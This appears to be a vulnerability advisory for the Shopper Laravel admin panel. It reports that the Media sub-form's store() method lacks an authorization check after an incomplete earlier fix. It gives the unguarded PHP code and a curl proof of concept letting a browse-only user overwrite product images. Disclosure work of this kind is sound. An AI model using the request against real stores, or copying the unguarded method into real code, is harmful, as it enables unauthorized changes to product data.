Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

• packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.